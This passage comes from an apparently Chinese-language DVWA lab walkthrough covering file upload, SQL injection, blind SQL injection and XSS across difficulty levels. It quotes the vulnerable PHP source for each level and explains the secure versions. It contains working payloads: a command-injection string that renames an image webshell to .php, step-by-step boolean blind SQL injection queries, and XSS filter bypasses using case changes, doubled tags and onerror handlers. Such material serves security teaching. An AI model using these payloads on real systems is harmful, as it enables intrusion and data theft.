echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

这里可以使用图片马来绕过,图片马的制作类似与pikachu里的制作
制作图片马
漏洞复现:
复现
之后需要配合其他漏洞让图片马一脚本的方式解析后再使用webshell管理工具连接即可,如使用命令注入漏洞修改图片的后缀然后再连接。
构造语句127.0.0.1 |copy C:\phpstudy_pro\WWW\DVWA\hackable\uploads\2.jpg C:\phpstudy_pro\WWW\DVWA\hackable\uploads\2.php
配合其他漏洞拿权限

impossible
源码分析:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';上传文件前缀md5加密
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这个级别的文件上传对文件进行了重命名搞了个md5加密,还增加了token值校验,对文件内容做了严格检查。

DVWA – SQL Injection (sql注入)

sql注入是指攻击者通过注入恶意sql命令,破坏sql查询语句结构从而达到执行恶意sql语句的目的。sql注入漏洞的危害是巨大的,常常导致整个数据库被“脱库”,尽管如此sql注入仍是最常见的web漏洞之一。
sql注入的流程:

  1. 判断是否存在注入,注入是字符型还是数字型(根据后台查询语句进行分类)
  2. 猜解sql查询语句中的字段数order by
  3. 确定显示字段顺序
  4. 获取当前数据库
  5. 获取当前数据库中的表
  6. 获取表中的字段名
  7. 下载数据

sql注入主题:
sql注入

Low
源码分析:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input 获取id
$id = $_REQUEST[ 'id' ];

// Check database 拼接sql查询
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

漏洞复现:
第一步查找注入点判断注入类型

确定注入类型

第二步判断字段数
判断字段数

第三步 确定字段显示顺序
确定字段显示顺序

第四步 获取数据库名、用户名、版本号
获取数据库名、用户名、版本号

在MYSQL5.0以上版本中自带数据库 information_schema,information_schema 存储所有数据库名,表名,列名信息,可以通过查询此库获得信息
第五步 查询库中的表
查询数据库中的表
出现错误如何解决:
执行union出错
第六步 查询表中的字段名
查询字段名
第七步获取字段相关信息
获取数据信息
然后md5解密直接登录就获取了权限了

Medium
源码分析:


<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
//使用这个函数将mysqli_real_escape_string将x00,n,r,,’,”,x1a转义,防SQL注入
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

漏洞复现:这里使用了post方式提交,还是用了转义防止sql注入
第一步判断注入类型:
判断
第二部判断字段数
字段数
第三步确定字段位置
确定位置
第四步查询库名
查库名
第五步查表名
查表名
第六步查询users中的字段名
获取字段名
这里单引号被转义用16进制绕过
第七步获取字段的值
获取内容
解密登录

high
源码分析:

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
/*
【select * from tableName limit i,n 】
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
查询第一条数据
select * from student limit 1
查询第二条数据
select * from student limit 1,1
*/
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

添加了limit限制可以用#注释掉后边的内容,复现过程和low一样
复现

impossible
源码分析:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

加入token、检测 id 是否是数字,prepare预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

DVWA – SQL Injection(blind)盲注

SQL Injection(Blind)(sql盲注):相比于常规注入他不会返回数据的信息或语法信息,只会将服务器包装后的信息返回到页面中
对比:
对比图
盲注分类分为两类:bool盲注和时间盲注,通过返回的值或者时间来判断是否正确

SQL盲注的基本流程:

  1. 判断是否存在注入,注入的类型
  2. 猜解当前数据库的名称
  3. 猜解数据库中的表名
  4. 猜解表中的字段名
  5. 获取表中字段的值
  6. 验证字段值的有效性
  7. 获取数据库的其他信息

sql盲注主题:
盲注

Low
源码分析:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors

$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}

break;
}
//判断exists的值大于零输出下边第一句
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

}

?>

漏洞复现:
文本框输入并提交的形式,get方式,未作任何输入过滤和限制,攻击者可以任意构造想输入的sql查询,对没有进行任何检查、过滤、返回参数只有两种
第一步猜闭合方式
闭合方式
猜测为字符型
第二步猜解数据库名(以数据库名的第一个字母为例)(最终可以查到数据库名root)

1' and (select ascii(substr(database(),1,1)) > 111) #
1' and (select ascii(substr(database(),1,1)) > 120) #
1' and (select ascii(substr(database(),1,1)) > 115) #
1' and (select ascii(substr(database(),1,1)) > 113) #
1' and (select ascii(substr(database(),1,1)) = 114) #

猜解
原理通过名字的ascill码来匹配是否正确正确返回正确信息错误返回错误信息
第三步查表名和查库名一样依旧是利用猜解来查最终查到为guestbook(以数据库的第一个表的第一个字母为例)

1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 110) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 105) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 103) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 102) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #

猜解表名

第四步猜解字段名方法一样(以数据库中第一个表第一个字段第一个字母为例)最终可以查到字段名为comment_id

1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 101) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 90) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 95) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 98) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 99) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 100) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #

猜解字段名
第五步猜解第一个表第一个字段的第一个数据的第一个字母最终查到数据1

1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 50) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 30) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 40) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 45) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 48) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

值的获取
剩余的数据都一样都是通过这种方式来查找

Medium
源码分析:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
//这里使用mysqli_real_escape_string()函数对一些符号进行了转义
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors

$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}

break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}

if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

?>

漏洞复现:
中级难度下,提交方式变为下拉id提交,使用post提交,并且使用mysqli_real_escape_string函数对单引号双引号反斜杠等进行了转义处理。和low的普通方式差不多但需要抓包构造语句使用post提交
四种语句还是类似并且和low的过程相似。

1 #
1 and (select ascii(substr(database(),1,1)) = 114) #
1 and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1 and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1 and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

测试

high
源码分析:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database limit限制只能查一条数据
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors

$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}

break;
}

if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount 报错的话会执行延迟函数
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

?>

high级别的盲注加入了sleep函数对时间盲注造成干扰,将数据提交页面和结果显示也页面分离,一定程度上约束了sqlmap自动化工具的常规方式但无法完全阻挡,利用set-cookie对输入的值进行传递到显示页面的cookie字段中保存,sql语句添加limit限制每次输出只有结果的一个记录,不会输出所有纪录。

漏洞复现:
对于limit限制输出记录数目可以利用#注释限制,服务端会随机执行sleep函数,做执行延迟时间2-4秒会对时间延迟盲注有干扰,因此可以考虑布尔盲注测试
可以参考low级别的代码:

1' #
1' and (select ascii(substr(database(),1,1)) = 114) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

impossible
源码分析:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token 加入token机制
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$exists = false;

// Get input
$id = $_GET[ 'id' ];

// Was a number entered? 对传入的id进行判断是否为数字 并且使用了limit 1做了限制 使用了PDO
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

$exists = $data->rowCount();
break;
case SQLITE:
global $sqlite_db_connection;

$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.

$num_columns = $result->numColumns();
if ($num_columns == 1) {
$row = $result->fetchArray();

$numrows = $row[ 'numrows' ];
$exists = ($numrows == 1);
}
}
break;
}

}

// Get results
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这个级别采用了PDO技术划清了代码于数据的界限有效的提高了防御sql注入,加入了token机制进一步提高了安全性,采用参数化查询而非动态查询,对代码和数据进行了分离。只有返回的查询结果数量为一个记录时才会成功输出,有效预防了暴库,使用is_numeric函数来判断是否为数字满足条件才查询。

DVWA – XSS(DOM)

XSS全程跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意脚本代码当受害者访问该页面恶意代码就会在浏览器上执行,需要强点的是,xss不仅限于JavaScript,还包括flash等其他脚本语言,根据恶意代码是否存储在服务器中又分为存储型和反射型。
DOM——base XSS漏洞基于文档对象模型的一种漏洞。dom是一个与平台编程语言无关的接口,它允许程序或脚本动态访问和更新文档内容,结构和样式,处理后的结果能作为页面的一部分。dom中有很多对象,其中一些可以用户操作如url、location、refelter等。客户端脚本程序可以通过dom动态修改页面内容,不依赖于提交数据到服务器,而是从客户端获得数据在本地执行,如果dom中的数据没有经过严格确认就会产生dom型xss漏洞

可能触发dom型xss的属性:document.referer属性、window.name属性、location属性、innerhtml属性、document.write属性

XSS(dom)主题:
dom型xss

Low
源码分析:


<?php
没有保护,什么都没有
# No protections, anything goes

?>

漏洞复现:
直接进行弹窗测
弹窗

medium
源码分析:

<?php

// Is there any input?
/*
array_key_exists()检查键是否存在
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
提示:如果指定数组的时候省略了键名,将会生成从 0 开始并以 1 递增的整数键名
array_key_exists(key,array)
key 必需 规定键名。
array 必需。规定数组

*/
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
/*
stripos函数查找字符串在另一字符串中第一次出现的位置不区分大小写
stripos(string,find,start)
string 必需 规定被搜索的字符串。
find 必需 规定要查找的字符。
start 可选 规定开始搜索的位置。
返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释:字符串位置从 0 开始,不是从 1 开始。
*/
//如果不含script
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
/*
header() 函数向客户端发送原始的 HTTP 报头
header(string,replace,http_response_code)
string 必需 规定要发送的报头字符串。
replace 可选 指示该报头是否替换之前的报头,或添加第二个报头。
默认是 true(替换)。false(允许相同类型的多个报头)。
http_response_code可选 把 HTTP 响应代码强制为指定的值。(PHP 4 以及更高版本可用)
*/
}

?>

简单的说就是过滤了<script,当匹配到时就会修正参数为English
在这里可以构造onerror事件,在装载文档或图像的过程中如果发生错误就会触发事件构造语句

English</option><select><img src=x onerror=alert(1)>

这里的option标签是通过网页源码拼接的
标签的选择
漏洞复现:
成功弹窗

high
源码分析:

?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages这里设置了百名单只允许这些值通过
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

这里设置了白名单但只对default进行了过滤我们可以用&或者#,在url中#表示书签&表示指定参数之间的分隔符。
添加标签或者添加参数

impossible
源码分析:

<?php

# Don't need to do anything, protection handled on the client side

?>

这里设置的我们呢输入的参数全部无效了

DVWA – XSS(reflected)反射型

XSS攻击需要具备两个条件:1.需要向web页面注入恶意代码 2.恶意代码可以执行

xss反射型:顾名思义反射是一个一来一回的过程,反射型xss触发有后端的参与,之所以触发xss是因为后端解析前端传来带有xss性质的脚本文件或者脚本的data url编码,后端解析用户输入处理返回前端,由浏览器解析这段xss脚本而触发xss漏洞。因此要避免反射型xss则必须要后端的协调,在后端解析前端数据时首先做相关字串的检测和转义处理;同时前端也要对用户的输入做excape转义,保证数据源可靠性。

基本原理是通过给别人发送带有恶意脚本代码参数的url,当url地址被打开,特定的代码参数就会被html解析,执行这样就可以获取cookie。

特点:非持久化,必须用户输入带有特定参数的连接才能引起。

xss反射性攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个连接到目标网站的恶意链接来实施攻击。

xss(reflected)主题:
主题

Low
源码分析:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
//array_key_exists函数判断变量值中是否存在name键名,且值不为空才输出
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

服务器只是判断了name参数是否为空,如果不为空就直接打印出来,服务器并没有对name参数做任何过滤和检查
漏洞复现:
直接使用下面的语句尝试

<script>alert(1)</script>

成功弹窗

medium
源码分析:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input将script标签置空
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

会见查name参数中是否含有script标签,有则替换为空,这里使用了str_replace函数他区分大小写因此可以用大小写绕过
漏洞复现:
这里使用大小写绕过

<sCript>alert(1)</ScRipt>

绕过成功

high
源码分析:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
//这里使用通配符完全匹配script标签所有的script标签全部被过滤
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

preg_replace()函数执行一个正则表达式的搜索和替换。*代表任意字符i代表不区分大小写。就是说所有的script标签被过滤,单我们可以通过其他标签来绕过如img、body等标签的事件或者iframe标签的是如此注入js脚本攻击
漏洞复现:
<img src=# onerror=alert(2)>
测试

impossible
源码分析:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token 加入token检验
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
/*
htmlspecialchars函数将符号转码
& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &#039;
< (小于) 成为 &lt;
> (大于) 成为 &gt;
*/
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

htmlspecialchars函数用于把预定义的一些字符转换为html实体防止了我们注入html标签。例如我们注入 “”,htmlspecialchars 函数会将 < 和 > 转换成 html 实体而不是当做标签,所以我们插入的语句并不会被执行。同时加入 Anti-CSRF token 防护 CSRF 攻击,进一步提高安全性。

DVWA –XSS(Stored)存储型

存储型:攻击者实现将恶意代码上传或者存储到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码,这就意味者只要页面被访问就会被攻击,因此存储型xss危害更大。存储习型xss的代码存在于网页代码中可以说是永久的。

存储型一般存在于留言品论博客日志等交互出,恶意脚本存储到客户端或者服务器的数据库中。

xss(store)主题:
存储型xss主题

Low
源码分析:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
/*
trims(tring,charlist)函数移除字符串两侧的空白字符或其他预定义字符,包括、\t、\n、\x0b、\r以及空格
*/
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input(string)
//stripslashes函数移除字符串中的反斜杠
//mysqli_real_escape_string(string,connection)
//函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

源码中出现了trim函数用法如下:
trim函数用法

出现了stripslashes()函数用法如下:
stripslashes函数用法
这里用于删除反斜杠,可用于清理数据库中或者从html表单中取回的数据
漏洞复现:
这里对xss方面没有做过滤和检查,而且数据将直接被存储到数据库中,因此存在存储型xss
存储型xss
同样的在message中也可以弹窗。在做其他的时候清楚表

medium
源码分析:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
/*
strip_tags() 函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签
addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串
*/
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

message处使用了htmlspecialchars函数,将字符全部转化为了html实体,因此message处无法使用xss攻击
name处做了长度限制,会把script标签转化为空考虑使用大小写或者双写绕过

漏洞复现:

大小写绕过:<scRIPt>alert(1)</SCript>
双写绕过:<scr<script>ipt>alert(1)</script>

第一部分绕过
第二部分

high
源码分析:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
